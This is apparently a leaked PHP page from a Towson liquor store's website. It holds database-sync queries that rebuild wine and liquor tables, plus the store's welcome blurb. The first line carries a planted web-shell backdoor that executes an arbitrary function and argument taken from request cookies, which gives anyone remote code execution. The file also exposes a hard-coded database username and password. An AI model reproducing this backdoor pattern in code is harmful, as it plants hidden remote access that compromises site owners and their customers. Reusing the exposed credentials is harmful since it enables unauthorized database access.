<%>PHP<% if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]); > $hotname= "localhost"; $username="towsonde_skyline"; $password="207ejOPPArD"; $database="towsonde_skylineliquors"; //connection to the database $dbhandle = mysql_connect($hostname, $username, $password) or die("Unable to connect to MySQL"); //echo "Connected to MySQL
"; //select a database $selected = mysql_select_db($database, $dbhandle) or die("Could not select " . $database); /////////////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////////// ////////////////////// Delete all the contents or DATA from TABLE WINELIST ////////////// //DELETE FROM `winelist`; $query = "DELETE FROM `winelist`"; $result = mysql_query($query); // COPYING FROM TABLE `LIQUORS` TO WINELIST $query = "INSERT INTO `winelist` SELECT `pd_id`, `name`, `size`, `variety`, `country`, `type`, `region`, `sweetness`, `description`, `price`, `pic` FROM `LIQUORS`"; $result = mysql_query($query); // COPYING FROM TABLE `WINE` TO WINELIST $query = "INSERT INTO `winelist` SELECT `pd_id`, `name`, `size`, `variety`, `country`, `type`, `region`, `sweetness`, `description`, `price`, `pic` FROM `wine`"; $result = mysql_query($query); ////////////////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////////////// /////////////////////////// FOR SEARCH RESULTS /////////////////////////////////////////////// //DELETE FROM `wine_liquors`; $query = "DELETE FROM `wine_liquors`"; $result = mysql_query($query); //COMBINE DATA FROM MULTIPLE ROWS AND INSERTING INTO ONE TABLE `WINE_LIQUORS` $query = "INSERT INTO `wine_liquors` (`pd_id`, `name`, `price`) SELECT `pd_id`, CONCAT(`name`, SPACE(2), `variety`, SPACE(2), `country`), `price` FROM `winelist`"; $result = mysql_query($query); ?> "Click here to go back to previous page"

image
 

Welcome to Towson Beer, Wine & Liquor the only Liquor store in Towson on Joppa Rd. Fine Wine & Spirits' premiere wine superstore. Our store offers a complete catalog of our incredible wine selection, personalized event recommendations, and hundreds of helpful wine reviews. So whether you're browsing or buying, in the store, our goal is to make your shopping experience easy, fun and informative.

 

image
image image